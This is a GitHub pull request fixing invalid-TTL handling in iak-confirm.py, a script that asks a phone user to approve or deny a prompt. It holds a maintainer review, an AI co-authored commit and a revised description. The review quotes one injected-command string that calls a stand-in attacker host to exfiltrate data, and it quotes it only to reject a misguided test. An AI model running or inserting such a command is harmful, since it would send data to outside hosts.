Repository navigation
fix: validate TTL in iak-confirm.py - #140
ThinkOffApp merged 2 commits into
Conversation
Automated security fix generated by OrbisAI Security
ThinkOffApp
left a comment
There was a problem hiding this comment.
Thanks for the patch. One of the three things here is a real bug, and it is a better one than the CWE it is filed under. The other two do not apply to this script, and I want to be specific rather than wave it away.
The real finding, and it is worth fixing. int(sys.argv[2]) raising an uncaught ValueError does not just crash: it makes Python exit 1, and line 9 of this file says 1 = denied. So a typo in the TTL is indistinguishable from the user tapping Deny on their phone. Verified:
$ iak-confirm.py "test prompt" abc ; echo $?
ValueError: invalid literal for int() with base 10: 'abc'
1
$ iak-confirm.py "test prompt" 240 ; echo $? # daemon unreachable
2
A caller that reports "you declined" on exit 1 will report a denial that never happened. That is worth a guard, so the try/except and the range check go in.
The command injection claim does not hold here. This script executes nothing, which the docstring states and the code bears out: prompt is json.dumps-ed into an HTTP POST body to a loopback daemon and otherwise only printed. There is no shell, no subprocess, no eval. A prompt beginning with ; is just a string, and it reaches a phone screen as text for a human to read.
That matters for the proposed regression test, which asserts that "; curl attacker.com/exfil" must produce a non-zero exit or the word "error". A correct implementation would fail that test, because the right behaviour for that input is to raise the card with that text on it. The test encodes an invariant this program should not have.
The prompt truncation is the wrong remedy. sys.argv[1][:2000] silently cuts the user's text. For a script whose whole job is to put a question in front of a person and get a yes or no, quietly shortening the question is worse than refusing it: the human then approves something other than what was asked. If a length limit is wanted it should reject with a message, not truncate. I would drop that line.
Where this leaves the PR. I would like to take the try/except and the range check and leave the rest. If you would rather, push a version with the truncation dropped and I will merge that; otherwise I will land the TTL guard separately and credit this report, since the exit-code consequence is a real one that we had not spotted.
Reviewed against commit on main at the time of writing; the exit codes above are from running the script on this branch.
iak-confirm.py's docstring reserves exit code 1 for an explicit Deny tap. An invalid --ttl previously raised an uncaught ValueError (or could fall outside the sensible range) and the process still exited 1, making a typo in the TTL indistinguishable from the user tapping Deny. The try/except and 1-86400 range check added in 52912dd fix that correctly, by returning a distinct exit code (2). That commit also truncated the prompt to 2000 chars and framed the change as closing a command-injection hole. Neither holds up: this script never execs or shells out (the prompt is JSON-encoded into an HTTP body for a loopback daemon and otherwise only shown to a human on a phone screen), so there's nothing to inject into. Silently truncating the text a human is asked to approve is also the wrong remedy for a non-issue - it just means they can end up approving something other than what was actually asked. Drop the truncation. Add test/iak_confirm_test.py covering the real bug (invalid/out-of- range TTL must return 2, never 1) and documenting that prompts are forwarded to the daemon verbatim, uncapped. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
|
Thanks for the detailed review — agreed on all three points. I've pushed a revised version that narrows this to just the TTL/exit-code bug you reproduced:
Updated commit: ce096b8 on this branch. Also updated the PR title/description to describe the actual fix rather than the original CWE-20 framing. |
Fix invalid TTL handling in iak-confirm.py
iak-confirm.py converts the optional TTL argument with
int(sys.argv[2]).Previously, an invalid value such as:
raised an uncaught
ValueErrorand caused the process to exit with status 1.Exit status 1 is already defined by this script as "denied" (see its own
docstring), so an invalid TTL could be reported to callers as if the user
had explicitly denied the request — a typo in the TTL became
indistinguishable from a human tapping Deny.
This change:
test/iak_confirm_test.pycovering both the invalid-TTL case andthat valid TTLs still proceed normally.
This PR intentionally does not modify prompt handling: prompt text is sent
as JSON to the local daemon and only ever displayed to a human, so there is
no truncation and no injection-style filtering here.
Automated security fix by OrbisAI Security